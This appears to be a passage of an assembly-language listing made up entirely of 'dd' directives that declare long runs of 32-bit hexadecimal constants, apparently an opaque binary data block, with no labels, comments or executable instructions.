dd 6BBCF57Eh, 50D9D8B1h, 606FF62Bh, 7FB46081h, 7C68A0E8h
dd 0CCC80FD5h, 0D0778483h, 17FF6DAAh, 5ADC00Eh, 68A9212Fh
dd 0B9455B5Ah, 3EE84E44h, 0F9E860C9h, 0FF899758h, 130B94DDh
dd 853EE9FCh, 316F96h, 542FE4FBh, 1789438Bh, 0A92351B5h
dd 0CF8D218h, 0A15B05D3h, 0DFDBEE2Ah, 98C470D2h, 2AE5160Bh
dd 85CBEEC0h, 0FF8997D1h, 8E27BD5Dh, 3C689D0Fh, 0DCF2C160h
dd 0D5240BABh, 0FC01CFA0h, 7AB22064h, 268135A0h, 9AFED72h
dd 3ADF189Dh, 0F790F72Bh, 903EE1C1h, 0DFB68022h, 702072B2h
dd 4386001Fh, 73FB18AEh, 71903AC3h, 5B4BD567h, 0E0896D7Bh
dd 7DEBD25h, 4DBDFE77h, 60196437h, 13BBFB20h, 0C129052Fh
dd 2F0446ACh, 0BF80D79Bh, 6DB52927h, 5CD92A44h, 35C0A996h
dd 10568921h, 0C11E48h, 59850C15h, 1684B307h, 0C08A16F8h
dd 8214BF53h, 0F1D770Bh, 3B1AD531h, 0B79966D7h, 5D74AE2h
dd 74EA0B7Fh, 7A01BA4Ah, 0FEB38EBEh, 50C0E622h, 0B5A535BFh
dd 0D18B1A35h, 8F8E65Dh, 8105880Fh, 4CF77BBFh, 4E5D2277h
dd 0CBA7C8h, 9A6503BAh, 2240884Ah, 0E7641507h, 8F937B3Fh
dd 5BCF8887h, 434AB458h, 0AF808368h, 0E000C321h, 0BC4EB95h
dd 29F9982h, 4062446h, 0FC5E7A73h, 0EFC78061h, 55808F47h
dd 4B135C47h, 0ECF2FD5Fh, 0F7B50039h, 66BD3660h, 0FA5ED0BFh
dd 14B249A6h, 33015F32h, 3B61562Ah, 0B502296Eh, 0B926EFA0h
dd 0F37A2674h, 0B7E9508Bh, 0B271FF14h, 78BB09F2h, 451079B4h
dd 3D13F739h, 368B002Dh, 9B08E486h, 459F25EEh, 0D3940B5Dh
dd 915678C7h, 0B355858h, 5FE1E9C1h, 0ECFAA435h, 0BA1C0460h
dd 0AF23BDCEh, 0F62E65F5h, 0D3D7E040h, 0DFAE0080h, 98BB487Ah
dd 464EE60Ah, 3122228Ah, 0CB80F90Ah, 2059F62Bh, 11D523A5h
dd 202FE84Ah, 0CF593D61h, 0F7ADB53Dh, 8FB0F14Ah, 2A5B8110h
dd 6BA0E3CAh, 390BD00Dh, 0E6CBFB10h, 18849FEBh, 0C005E904h
dd 1B4319BFh, 0EFC462Ch, 72418529h, 56C4EBBDh, 138BAC5Bh
dd 0DF2DA8Bh, 0E6800588h, 3F103D61h, 89570596h, 710CF9BDh
dd 6C810F74h, 5934A081h, 1D9900B0h, 0B4F653ACh, 9E173D6Fh
dd 6BBE7BE8h, 51E575Ch, 3B3EFBB5h, 4DC404BBh, 7F1131Ah
dd 6FAB8014h, 3A18057Bh, 5EC38CE4h, 0A2ABF4F1h, 6F6A97C3h
dd 0F9ED047Dh, 0E8C81D9Dh, 4EB74F06h, 3CEF25B1h, 71125EA8h
dd 236D6BFBh, 8F80381Ch, 5B0E96E6h, 3809289Fh, 0DF1BDF80h
dd 0D7814F20h, 0B9D7A0Dh, 71C8FB04h, 0EA302FF3h, 9FC19D0Bh
dd 86276B72h, 0F69B56B8h, 2022DFEh, 0F3C8B28Dh, 0FDFEC057h
dd 815B801Ch, 9A95E73Ch, 0B76017D1h, 0B42980CDh, 0B952A6F8h
dd 0F49FD377h, 0F871AFEAh, 0A3A50300h, 2CFD78h, 61F2E4E0h
dd 295B191h, 99BCE54Fh, 0FF54A44Bh, 0F099B523h, 73124361h
dd 704630Bh, 9D4E251Dh, 7E532BA9h, 0BB088992h, 0FC912219h
dd 7A508908h, 16E54688h, 0B0786617h, 1B05B7C4h, 600B8CA9h
dd 0A42F55CDh, 0BD001798h, 0AE039548h, 1B445D8h, 0D4024A34h
dd 289ADF8Eh, 90EA96ABh, 1A4263D1h, 357FB200h, 0C154BD0Bh
dd 3B2D16F8h, 6024EF38h, 2EC2A1DBh, 0E5C0D002h, 0B1AC2761h
dd 22DD565Ch, 136CB004h, 0A35BF25Ch, 0CF81014Ah, 2BA25792h
dd 2E50283Ah, 25213389h, 31602E51h, 0A45089DDh, 17D98B53h
dd 0AF966159h, 0EF2BD330h, 809A007Bh, 0BFDCC96Fh, 6E1798D8h
dd 9EEC5F0Fh, 0E92FFD12h, 8C19BC5Dh, 412F7700h, 23FBF670h
dd 0E4E15F9Dh, 0AD27BDAAh, 80274E10h, 0B5E96B85h, 0B55417F9h
dd 355F21ABh, 0F530A514h, 6009853Dh, 7DF921B4h, 0CF12D16Ch
dd 0E5F290EFh, 0F0A53A88h, 5F758107h, 0E1DD352Fh, 0E4096ECEh
dd 0F13DF5C6h, 2653909h, 5D2749A0h, 0C40B234Dh, 9BCD5DF1h
dd 0C85101E0h, 0EF4B0028h, 0ACF7211Bh, 59ADC18Bh, 66BDBF62h
dd 658E0053h, 0AE89E967h, 83592C86h, 0BD2B8250h, 5869E4C9h
dd 28277E09h, 5BA0204Eh, 50811A49h, 6E0F9173h, 0EE572B2Ch
dd 87B35C21h, 7BF2F53Eh, 1780AB9Bh, 396437EFh, 0B12CFC0Bh
dd 40F8EF2Ah, 0CB2B9FD4h, 0CA52510Fh, 6AB7640Eh, 0DD2CDBBEh
dd 38A4DFC2h, 810840EDh, 1094A41Ch, 4019D742h, 129D14A0h
dd 44AB551Ch, 0C1607DDEh, 2326AFBh, 29D4A3E1h, 0C348A586h
dd 882DEF80h, 17127A5Bh, 0BEF0A1F3h, 5EF98E62h, 355FE9FCh
dd 0EE770EC7h, 891DC76Eh, 8D842631h, 70C4AAD1h, 7EA2D1B8h
dd 0ED026A22h, 0FBF1E989h, 0B7B4F0AFh, 4D0305FBh, 0DA1EABB9h
dd 4E97FC31h, 0B0C4B2C0h, 0C0021F5Ah, 0A2CCB965h, 785E5078h
dd 0DB905AB3h, 62358F78h, 0CC4008F3h, 8B60019Ah, 550EB8CFh
dd 0BB506035h, 0D91E2401h, 104AE975h, 4C0D2C3Ah, 1DE2D743h
dd 7EAD30h, 0D329BBEDh, 90CBDC12h, 71F98A2Dh, 0E91354C9h
dd 0E5B075E4h, 876500BFh, 0B3905C60h, 0F5A35083h, 0C0C0DBB5h
dd 54ECF7E1h, 6D612576h, 8012EDECh, 0D3F109DFh, 18A7E3Bh
dd 61FD1712h, 0C61572Ah, 69C4066Ch, 5C5F0B1Ah, 81F4EB90h
dd 0A93301DCh, 17478B4h, 389360A6h, 4E214A40h, 0E8BEF929h
dd 2290938h, 966420B1h, 536AE200h, 0B9719414h, 259E0670h
dd 0DCEFAAAEh, 49E59D5Ah, 351D622Fh, 95A55029h, 5D08DB74h
dd 1FE0252Ah, 0E42018Dh, 0BD25C44Eh, 53897B1Ch, 64804378h
dd 0EA3FD063h, 94E87D5Eh
dd 81B1B45Ah, 0EA631845h, 0EC547200h, 0BCF7B1A3h, 835F6B00h
dd 5768C369h, 1416725Bh, 0D4BA28C7h, 0FC60C1C1h, 8D7D40E8h
dd 79E47E17h, 72591600h, 0B6D1C595h, 0EC1E4E43h, 27062002h
dd 0C77C615Bh, 0C148A947h, 3A8D29DAh, 4C2BDCE4h, 4B78BBC8h
dd 808BF921h, 0CEAF47B6h, 77323B58h, 21F91980h, 8A5031E5h
dd 330FED17h, 3760608Dh, 5B2317DEh, 0D1250C76h, 340F57Eh
dd 147450E9h, 9AC50AE3h, 12C22071h, 4BD4BF29h, 37C4B257h
dd 85F65DEAh, 890A95B5h, 837FEE0Ah, 50794BD3h, 18012C10h
dd 0FF174DBDh, 189FD03Bh, 32FE8B7Bh, 0F50F34E9h, 6665F95Eh
dd 0D7B88912h, 0AF82BFA4h, 0CCF45E6Eh, 0E934E77Ah, 5742BAB7h
dd 0D721E5BDh, 4720DD14h, 10549753h, 0C9CD2E4Ch, 93F46AD1h
dd 0CE2700DEh, 0D2C5FC20h, 8D3C3160h, 109852FDh, 945F0DC9h
dd 0DCE2EEB2h, 37C6BD3h, 78F2E5D8h, 608BB012h, 28F8E67Ah
dd 98C047BFh, 578D4943h, 47B03046h, 0E102E335h, 53BEA2E2h
dd 25D75E68h, 0CCC0C44Dh, 5F1B7FBh, 0AE441AA4h, 0FCF60B9Bh
dd 55CB9C4Dh, 316C53C8h, 152E0090h, 0FF49EF02h, 0C2B841E1h
dd 60BE6F75h, 0C5EEA11Eh, 8AA13C4Bh, 0AAA1BC77h, 0FC207F4Ch
dd 3DA16578h, 0D98190EBh, 745243CAh, 0D685D0B3h, 0C2DB8B4Bh
dd 963A9A4Bh, 884EF3E9h, 340790E3h, 0C49262C6h, 0CCBC0F64h
dd 0B841B996h, 3D670129h, 0A1AEEA46h, 0D6EB3CDEh, 7071B2h
dd 209425FCh, 0C9E5A942h, 41C7EA02h, 760EEF58h, 8B55CB30h
dd 5A905C90h, 47B1CD55h, 8CFA4083h, 747AE332h, 3B8AB558h
dd 0BBF85A62h, 0BA1D2BBBh, 0E9F2DC00h, 1CDB8F6Eh, 672981DFh
dd 0D50882DEh, 13B80125h, 2A375A94h, 5313781h, 0DAE82479h
dd 0F5AF9403h, 0A468F275h, 0B58061E8h, 25910D92h, 0E5F79725h
dd 25B01CE5h, 0F455FEh, 2C25843Eh, 3AF23F28h, 0A43D1654h
dd 0E31A9D02h, 5E8F501Ch, 1646D4E4h, 5440CA0Bh, 93D9882h
dd 7EA77D0Eh, 0B5DDA556h, 0A74C2534h, 0CE512F0Ah, 23AC602Ah
dd 0ED027E3Ch, 0FFF5429Ah, 0DCA4FCE1h, 0F9CB234Bh, 4C053310h
dd 0BAECC0F3h, 40E43Eh, 5532B6EEh, 0EFD6419Dh, 5323BC04h
dd 0BEEFDFFh, 96DFEACCh, 52256994h, 0C2C76D7Dh, 2E96021h
dd 8D558908h, 0E9A5549h, 0B8C4345Eh, 0BA45FA57h, 0E2B6605Fh
dd 0B8A6AAE5h, 0FA52C975h, 0C1AD39D0h, 0B6AB06E0h, 0F95E02B5h
dd 0D46E0CE8h, 9D016CD1h, 2E20908Fh, 0A1F0B5E4h, 9671ECABh
dd 0C1F9273Fh, 0FDC7F311h, 0DEF2608Eh, 33FDC902h, 5FEA0CA4h
dd 10D2E581h, 7E123A5Bh, 7FE6EBFh, 62CFF00Eh, 0A9A3EFF3h
dd 0B9701813h, 0AC034B41h, 15BC464h, 0E912D110h, 0D6D4BD0Bh
dd 0CEE38702h, 0D62A74B5h, 0F2261446h, 84D8138Dh, 0E017A6F7h
dd 5DF1AA1h, 0E7806236h, 0E869E9A3h, 13FE259Dh, 528977C5h
dd 0E0E460h, 0F72B8B5Ch, 0D1DFEB86h, 665EC818h, 550F61C8h
dd 0AD2B1531h, 833A0575h, 0E3BF1FDAh, 0CA004B7Fh, 1DEDC3BBh
dd 0A613977Eh, 0E3398DD1h, 4989B381h, 0F26EECEDh, 581FB513h
dd 0BAB862A9h, 0D66F2700h, 0C0EAD87Dh, 0E8DE1186h, 28240205h
dd 75A7EFC7h, 5BE19B62h, 5B74070Ch, 88D272B8h, 0D4390C72h
dd 0DE5400A0h, 5DFA7D98h, 0FC5800A8h, 656D9BDDh, 1A9D2344h
dd 0AAC1FDB4h, 2244308h, 0F33AF685h, 0C6809CF7h, 9D97C623h
dd 0C398B41Ah, 7A03226Fh, 47620DBDh, 69D82F5Bh, 0FA5F5D04h
dd 22A0AF8Ah, 95003C02h, 5185D46Fh, 4A1DBD03h, 9929BF16h
dd 6BA9EA2Dh, 40DE56B5h, 8209F1D8h, 0BD764C7Fh, 7697BE50h
dd 0B69BDC29h, 65DF9F80h, 2D42FD3Eh, 0C5FC7DA4h, 6108990Dh
dd 8912887Bh, 0D9B788C4h, 762911D8h, 0F1FFD295h, 76238Ah
dd 36679CE7h, 0E614697Ah, 0EA2201BFh, 4C9D8E62h, 0AE8D3FB4h
dd 972F3D4h, 5F2C3520h, 0B544C4FDh, 0BAF3759h, 1BCB786h
dd 1EAC7286h, 6143C4BBh, 426D1327h, 1B4FD784h, 2390E860h
dd 2EB1C7h, 689846BBh, 320B9E34h, 548E0FDDh, 279B5009h
dd 48663Ch, 1F1EE8CBh, 0C478A4h, 0B9DFC346h, 89A1D326h
dd 0CB8AC0B7h, 22EC2565h, 99C1024Dh, 323AED67h, 0D2985092h
dd 380712D7h, 0E06846DBh, 0D552201h, 27611060h, 9E4A413Eh
dd 4A530568h, 0FEDD7697h, 0A40543F8h, 5CFA729Ch, 5D8D10C1h
dd 0C68101EEh, 68E5CC6Ah, 37976171h, 873E0209h, 4FFD0EB7h
dd 0B64C695Ah, 33E52B02h, 0DD17F1BDh, 5B708A1Ch, 1AB63FE1h
dd 0E9F2FEF4h, 4FE9180Dh, 0F2B6361Fh, 937D59ABh, 0A826EB01h
dd 1E9127C4h, 0A7D254ABh, 0D2AD9D97h, 466B55Dh, 0BBCE8630h
dd 6C093B6Eh, 7E00A3C7h, 3C48B2EDh, 6AD4109Fh, 0DE020064h
dd 0D584EEFEh, 18001080h, 0CD7813BDh, 9DBA6B39h, 8038BA14h
dd 18A94B04h, 4F74FEBCh, 914C6801h, 504E6476h, 2400CF63h
dd 0D3ADAE3Eh, 21000316h, 0B86C0DCFh, 3686B57h, 3A81DEEFh
dd 23928D09h, 30976447h, 18C7BFBh, 0BF66A1E4h, 6B3A2CCEh
dd 1C23FFh, 0A75B3616h, 0AF122057h, 75EEF041h, 0A79FF643h
dd 3D97BB10h, 7CB00936h, 93D0918Ah, 6237CFB5h, 0CE5DBD49h
dd 22D92230h, 75D7B725h, 0E900B23Dh, 482FA86Ah, 4A937517h
dd 3F7D81BEh, 0A9A92B8Eh, 2E0092FCh, 2F75902Ah, 0BF6BA75Fh
dd 275BB3D0h, 0AAB463A8h, 1709A16Ah, 5A51749Fh, 8BB8603h
dd 6B29E8B8h, 0E7360A8Ah, 0AFC3E0D1h, 16F6B87Ch, 0C4CFD71Eh
dd 0A571CCF8h, 500EFCB7h, 6C05F4E4h, 8A0F0171h, 35B21616h
dd 8BAAE00h, 14823C81h, 2588450Eh, 6FF9365Bh, 28C15ACh
dd 29606EC9h, 0C45C658Dh, 0B2524145h, 0FBCF65EBh, 762DD1C2h
dd 0F5F9E96Bh, 58C899Dh, 0E1801917h, 8256E814h, 1A8A76E7h
dd 10CB5DFh, 6BB72571h, 363308h, 1B8C1903h, 27B462Ch, 7A44F6A3h
dd 75401E4Fh, 825DFCCh, 89A750Ch, 0D06289FFh, 0BCBDB56Fh
dd 96EF712Fh, 0B97A6Ah, 5B28F816h, 952FEAE1h, 9AF82D62h
dd 5431519Fh, 688E8700h, 4599C878h, 0D52E4AFBh, 407ABBA3h
dd 0F82C0972h, 0D98B2B6Eh, 0BF96C020h, 9458805Eh, 0FC8A1E04h
dd 9378AA6Bh, 0ED1D0AA0h, 0AD802298h, 796023CFh, 16E0B5F8h
dd 56C5BD29h, 0D7C1ED7Fh, 2AE6ABEh, 0E18D898Bh, 991C5F33h
dd 0B8B2344h, 0D9D2BF9h, 0FF501424h, 0C0FE0D95h, 585A9C03h
dd 602EC99Ah, 2D118456h, 1B505B2Dh, 0B8036149h, 0CFE08C1Dh
dd 0EC2AF200h, 0B96D6719h, 59D79004h, 0AC4B0D9Dh, 0CDEBF5D3h
dd 0F1F66B0Ch, 55EF810Eh, 88F8A233h, 0F090A525h, 0AA16327Dh
dd 9BF377Bh, 1D902AEh, 1808A1C2h, 0C31783BFh, 7BEA3FC2h
dd 60984EE8h, 1EB10CD8h, 7DFE37E6h, 25E91240h, 0CA5AF0B5h
dd 55300D2Fh, 1A14601Fh, 0B1D78033h, 0E6490F63h, 815601E7h
dd 0ED8AF3C7h, 14BC7B35h, 3E6680D2h, 0D69F0136h, 509089D7h
dd 0F1F3E47Dh, 0F56E0C21h, 0B17A2F67h, 3F0F203h, 7390DB9Bh
dd 4414D163h, 27CBDF8Bh, 0DDAE09C5h, 0B6E47B4Dh, 0C068A92h
dd 0E9209CE6h, 0DE8B2D19h, 2F6A6D4h, 0F68B7982h, 24C8107Ch
dd 209D574Ch, 12BF314Fh, 3B3D27E0h, 0BB090952h, 0B790A72Dh
dd 0D3B480C9h, 94328FCFh, 48BE876Ch, 14DF0681h, 104E687Eh
dd 76B7FEF8h, 1952D4BBh, 29EA0036h, 0A92332CCh, 0B4B609BFh
dd 4D5D5A47h, 8CC49A6h, 884DF802h, 56D1FFBDh, 0B100DC91h
dd 3075A310h, 1332E673h, 0B260B3A5h, 539E893Ah, 0AB97D8AFh
dd 0A4B25100h, 0BB872F2Dh, 8CE70545h, 0FB026A53h, 2509356Eh
dd 967066F6h
dd 4E451841h, 0F8D352ABh, 0B9F1307h, 0FFC0B8F8h, 7D4C7475h
dd 0FCB18603h, 0B85A5EE4h, 0F0C3DD34h, 9D0B1290h, 7B70A109h
dd 19B296F6h, 7307984Ch, 0D9DD1AAFh, 96E9F5C1h, 3FCACE6Eh
dd 53192FA6h, 7AF7782Ch, 0A74E303Eh, 0A4E7D68Eh, 266509B6h
dd 0FCF4F456h, 9D147E6Eh, 0CBF37DBAh, 9DF98C50h, 0D1697CD4h
dd 107FA520h, 9CF8126h, 0BA26445h, 0D7AD64D9h, 4701D8B7h
dd 0BCB3BF91h, 80E6346Fh, 0ADCA16C8h, 2860CE97h, 0B068A0Fh
dd 20CD8501h, 2C61E577h, 0B200D6D2h, 0FC9B0645h, 1752C0B6h
dd 10FF6A03h, 0BB5DD51Eh, 392CCC4Ch, 0D8CEBE83h, 9881B39h
dd 0ED3D5485h, 3B3E0B0h, 0BF70E6EBh, 0FAFDBB21h, 532F5C89h
dd 8033ACF4h, 0AB2F018Fh, 59880989h, 48DA4FACh, 2923EC61h
dd 5FA6D195h, 212D3CA0h, 0E02500F1h, 7A7E6995h, 0F06E97BAh
dd 0EE6B2D00h, 0A87FEFAFh, 0DE3005EAh, 82029D1Ch, 92F729B4h
dd 5DA35DB8h, 63A43D95h, 0EB53848Dh, 0F0D1530Ch, 0E91140C9h
dd 2288985Bh, 0FAA1A331h, 0CDF9904h, 1A5AA614h, 5E436595h
dd 0BD0306F9h, 0E2BD7B19h, 0F81B5D91h, 5991212h, 17EE32BAh
dd 695BB10h, 2D9D03BFh, 4D44972Ah, 228B5E53h, 0D765BA4h
dd 0D9FBA96Fh, 4034110Ch, 0D4B19FFh, 0E29802E2h, 604BCE5Ah
dd 4F047BCCh, 7741FBD5h, 2D358D03h, 9529E62Dh, 0F8B78986h
dd 0D4091FDBh, 0FC305D61h, 0E704CD66h, 17CB314Eh, 2E50E113h
dd 17C8C29Ah, 0D2B141CFh, 8A855658h, 13B95BFEh, 41C7A4A5h
dd 0E1F51362h, 0DC4A5CFCh, 4CFC5A34h, 57DE00C9h, 720F7AB7h
dd 7A6E20D6h, 2509A771h, 3E61F1B5h, 4F77C2B8h, 0E8C6564h
dd 0A27398E3h, 0D98A12BFh, 19FC51EDh, 279D028Ch, 339AE408h
dd 0B554E67Fh, 0EEE35FE1h, 25553341h, 2CDA6EE5h, 28C41488h
dd 32256084h, 0BC2D64BBh, 0D7F39776h, 778A5731h, 592B3A5Fh
dd 0B83CBF02h, 83530AF4h, 1B56470h, 0ACBFA4B4h, 0D6DA2375h
dd 160204FFh, 22EC8EAEh, 14BF7642h, 0FE7EC082h, 0A91782DEh
dd 4D575289h, 601D64CDh, 68050Ch, 55BBE9B9h, 0FF24E06Ch
dd 189FE164h, 0D9AD38BAh, 5F7045Bh, 985B91A0h, 4FB8504Eh
dd 0F1D781C0h, 1C058BFBh, 12B59509h, 4013E62h, 4BF550B6h
dd 7122A18Ah, 6001EF9Ah, 0E86CD381h, 152F0CF3h, 60BC6A7Eh
dd 7D8A4004h, 49C4CF64h, 4F4C50B8h, 0F3279912h, 163122Bh
dd 0C113677Bh, 688AE53h, 5B5F2F56h, 155257Ch, 0F2C2FDBEh
dd 336BC05Fh, 6AD4DA4Bh, 94059EBAh, 5EE70512h, 20AA90FBh
dd 0B9FF2FFDh, 44870600h, 0CE52AC5h, 2BBE250h, 46E080Eh
dd 1FDB905Fh, 0D154F670h, 1CAC583Ah, 0B8F0C109h, 40F3589Bh
dd 7A046807h, 60F2AF86h, 0F20F8FC3h, 4090F557h, 0B200A909h
dd 4DC0776Ch, 0EE08BFE0h, 7A840125h, 5E04378Fh, 56012B61h
dd 0D6F7D85h, 84039B3Eh, 4EE27ACh, 112D1B1h, 8018D29h
dd 0E674AF14h, 7DDAF8C9h, 0AC487F4Dh, 0E90545E0h, 23B9228h
dd 0AD3ECB81h, 335E2548h, 0DAA0532Dh, 208B1256h, 2CF9FFh
dd 5E34A819h, 9203BFAAh, 2291E05Fh, 5E8A97Ch, 5C736610h
dd 0E281A82Fh, 5C00CA69h, 4653AF63h, 7C83D0DBh, 5EF0B86Fh
dd 0E17F7016h, 9D016ACCh, 55EBA4F0h, 1C6B14DCh, 0FA8334F6h
dd 3B664AD8h, 3E93EE81h, 4629EEF9h, 0C8A8E639h, 0C5A0AB00h
dd 315D8BFEh, 3DF2B59Dh, 9842351h, 0B50485FBh, 29BE0369h
dd 41B9FF31h, 8D986B02h, 8FD105DCh, 0BE58F924h, 10AD3B16h
dd 0D65D2DBDh, 0BF502300h, 9752958Dh, 0BB456AAh, 167508A9h
dd 0D4C99CF6h, 7797A503h, 10FD9285h, 761A0DFAh, 26719510h
dd 0EAB66800h, 59B38CB4h, 490BCB92h, 0FB736A19h, 1AD572A2h
dd 6FA5D0Fh, 0F6EA5C95h, 9D236C04h, 30122AA9h, 0B88E579Eh
dd 71DB1901h, 984D0856h, 15071D3Ch, 1357508Bh, 24F5B52h
dd 500346Fh, 68633CF0h, 31091DF7h, 5F2F2D95h, 189135B7h
dd 7737F80h, 312E78BDh, 61456FB5h, 93E5EFA6h, 0BEE51943h
dd 6A6F1A6Dh, 361101E7h, 0F71ED07Ch, 25BF1B70h, 147556DBh
dd 0AD4A4AB1h, 9E6EC8Dh, 0ADE1549Dh, 8AF48409h, 9FB27AAFh
dd 0D27858DBh, 0FF76253Ah, 95745AE7h, 700CB35h, 0C51083F8h
dd 1AF3016Eh, 0FDB501D9h, 0FE8A0028h, 4DBD170Bh, 9A7AEF25h
dd 1CCEF712h, 533281ADh, 2F21BD2Bh, 0B8A41CECh, 5FAA345Ch
dd 5F89E509h, 972C0D1Eh, 1FF64B03h, 84ECF231h, 0AB3DBD09h
dd 0F6F5C4E6h, 0F8460E9Dh, 35B05378h, 7B094111h, 0DF6173C2h
dd 143D2338h, 0B3B72785h, 97B2CF12h, 62091700h, 56A39BEBh
dd 0DFB23A00h, 0BE261A9Eh, 0A9AB0B8Fh, 547CCD7Ch, 0AF9DB5E9h
dd 2600C9D0h, 0BFF67816h, 3F920FFBh, 89178021h, 5461BB96h
dd 8EEC09DCh, 0E46807BAh, 6026DEFAh, 96619D50h, 3EFB79Dh
dd 0F5239EC6h, 584567F9h, 21EC29DFh, 80B9034Fh, 0AC30D4B4h
dd 6CBAD9B3h, 0FD8B172Eh, 44AEC14h, 0E826EC29h, 2790E393h
dd 0D25F357h, 2099F1B5h, 44DC288h, 0DEBC7Eh, 6C2DFBB2h
dd 33D18D29h, 0FAFB97h, 88801D65h, 0C5255A16h, 251AC5E0h
dd 8809D962h, 8180A359h, 0E68F0BEBh, 0A6189723h, 0AAD4D88Bh
dd 5FB15E9h, 9CDA96BDh, 90C017C8h, 0BDDA88F4h, 3453BD10h
dd 30C2DB00h, 6735B366h, 0A7773BF9h, 0BF5D2400h, 1D18D34Dh
dd 0B8E23990h, 5FCF8E00h, 0A9BE665Ah, 0B6617C9Eh, 0C4D64084h
dd 6D04E194h, 814EF783h, 61CA0581h, 0BFC4D06Eh, 4250B69h
dd 20966E01h, 6609272Dh, 7D32CABBh, 3849594Dh, 30DEF244h
dd 0FA520DAEh, 0EB2580D6h, 1139C575h, 37C84B54h, 0B9570086h
dd 326C5F6Eh, 374B5D03h, 0BBC0CFBCh, 1A72AAA8h, 803C5F49h
dd 7D4DF781h, 0EA164E1Bh, 7DBF7Bh, 828A8F17h, 89377662h
dd 0F729B6C9h, 0C3122796h, 44E390E0h, 0D1158758h, 0CF9C172Ch
dd 17694C7Ah, 89824971h, 571CB185h, 0CB3BAB67h, 28EC22B9h
dd 33227E01h, 0FEF11163h, 8AA6F93Ah, 1A09CFDFh, 0A4CFD7CEh
dd 0D98F0242h, 14CE00E7h, 8A11BA21h, 0DB950DEAh, 181DD98Bh
dd 2854BD02h, 0F701C1E8h, 0BEE9DFA9h, 0F664C46Eh, 0F2FBE5AFh
dd 3E09003Fh, 5FBFF7B9h, 5E930AD1h, 0DE8FC18Bh, 29458305h
dd 0F842119Dh, 5C5ADB80h, 81BF60A6h, 244E2F87h, 2B1D3EBBh
dd 0C6029017h, 0C2221C35h, 5DADFD2h, 184A36B2h, 0B660A220h
dd 0DA5153B3h, 0A102B907h, 0E81180AAh, 615F5BD4h, 0B7A04BE7h
dd 0B604DD39h, 2E1F48A7h, 960DA7C3h, 0F97017F4h, 0F2A7E619h
dd 73D95FF8h, 2ECB8004h, 6E4BCFB8h, 0D4A40E40h, 0C03FC1F8h
dd 5E706C45h, 5001405Dh, 8CBA85E3h, 23BB5B92h, 1A84D102h
dd 81AE0272h, 4AA84422h, 0A456B7DEh, 0FB09ECC3h, 0C94A48BCh
dd 6CD49571h, 0D462DE52h, 0F79AF016h, 70AD8100h, 18B35BE2h
dd 2709830Fh, 0F7078A60h, 3907C5BAh, 2ABB61B5h, 0DADF81FAh
dd 837189F3h, 760F906Fh, 7E16390Ch, 319BD1FFh, 12633A85h
dd 2AA9C2h, 784CBB52h, 9E5F1284h, 0F81816AFh, 207CE201h
dd 20EA8160h, 13B63809h, 27505F5h, 58B88BADh, 0F84D7612h
dd 88EE1617h, 0FB5B8BF0h, 0B5B9FB85h, 5409B5BCh, 0FFCBBF19h
dd 0CCAD5435h, 0C7600E5Fh, 0E3B2E917h, 87A89D4h, 17DC2FCAh
dd 0AE279CA7h, 771A3F09h, 0B8E0A14Dh, 0B755C4Eh, 9FF36953h
dd 3A80D28Fh, 8531170Fh, 0F31D012Dh, 2094A83Eh, 905E1729h
dd 7D7960C8h, 129D740Ah, 88035A3Ch, 3D006A19h, 0F765DE6Bh
dd 0A50910h, 668C0E41h
dd 883F3E97h, 8D505B26h, 490C1960h, 0C34C09B2h, 4C7D6F9Dh
dd 49099582h, 0BD97B85Ah, 0EE138027h, 388ED747h, 0C6FD2725h
dd 6AF93CCFh, 0DABF0F09h, 1B0B9DDCh, 752E822Eh, 677BDF33h
dd 5FD8478h, 4D6D13C0h, 0BF08C12Bh, 157DE4FAh, 0F5D43197h
dd 25E939A8h, 0D4C40D01h, 207BB841h, 97D6F9E2h, 1584AE1Dh
dd 42875B4Eh, 0E18971E4h, 8C6F197Ah, 35C5CA34h, 42BEF88Bh
dd 25C9851Fh, 5BEFD009h, 625E626h, 28B1BD01h, 355AB523h
dd 34031C12h, 0CAC848BBh, 0F00873BFh, 440B4F3h, 81F5D18Bh
dd 9121CD1Bh, 166588DBh, 870AF85Dh, 5F164C44h, 88134B19h
dd 0FBA160B4h, 85B5F4C2h, 1C61A1CDh, 5DD2F02Fh, 0B38C2E4Bh
dd 81B28B1Fh, 5095525Ch, 994E0BE4h, 0C866DF5Fh, 0CD058CF6h
dd 39E97F86h, 0BBACAB24h, 7F8F4D8h, 9932D628h, 0DB03312Dh
dd 4A1D11C7h, 0A442BFD9h, 0F4FA55C1h, 3BF7280h, 19B6F712h
dd 0A413AEE6h, 0ACCCBA71h, 2BD300D0h, 0F66B47Fh, 0B5091432h
dd 0ED6A8764h, 386AE358h, 4455A99Ah, 0D22B00D1h, 0FB1CBCFAh
dd 31772F67h, 75A79904h, 34ABFE8Bh, 65B0AE05h, 495D00F5h
dd 0CDDBD521h, 16ECD88Ah, 22EBD15Fh, 0FBDD5B6Ah, 0DE11960h
dd 64C43AB9h, 0E33DE6ABh, 4A30A7F1h, 5E763347h, 0AD590B86h
dd 2BB419F5h, 5AEB77E6h, 0E080A6BCh, 3E8A6A03h, 3581701Fh
dd 0F571382h, 4A56328Bh, 6911D6F8h, 0DDE4652Dh, 0C02BF744h
dd 0E394D7B8h, 4E1A3D10h, 0ED4AF4E3h, 25FFA403h, 0CE089B85h
dd 70E749CEh, 856F95D3h, 9B838A44h, 5F9EB2C7h, 0CE84F910h
dd 0F7F9E700h, 0FDBC11F4h, 68640BC8h, 6CFC30FEh, 804DBD49h
dd 0C463B828h, 0F713E443h, 651E01F9h, 6983D1E5h, 2150E7D3h
dd 20FE12D8h, 0BD7BE88Ch, 16D96A2Eh, 5988FCA2h, 239B1E6Bh
dd 69A700A0h, 0DDA6CD3Fh, 0E5338D25h, 50731121h, 2FFB2D26h
dd 11CE38A9h, 5DA9A410h, 292F6DB8h, 49977E89h, 0E1FF4882h
dd 12DCA57Eh, 2F8DB9Ah, 98E9EB18h, 0EF0F157Bh, 28244523h
dd 0E2D222ACh, 0B7E78F52h, 0FB87B39Eh, 64119686h, 906BD20h
dd 2FF5B509h, 0CAC64C79h, 25279463h, 841D4DC5h, 0D0BADB2Dh
dd 200C086h, 0F9D11EA2h, 1023C2A9h, 2F047D9Dh, 0C058CD60h
dd 8D894DFAh, 4801AD31h, 132FDD8Ah, 0DB940293h, 0F375E180h
dd 0D8987033h, 0C2E8FF00h, 0CF723B6Fh, 77BB0454h, 0BD01D4D9h
dd 9D032297h, 0ED77F409h, 0E0944868h, 12E7E1CEh, 63952804h
dd 74BC3F53h, 0B9E613D2h, 4748CCh, 1BF1B014h, 0E00ABF50h
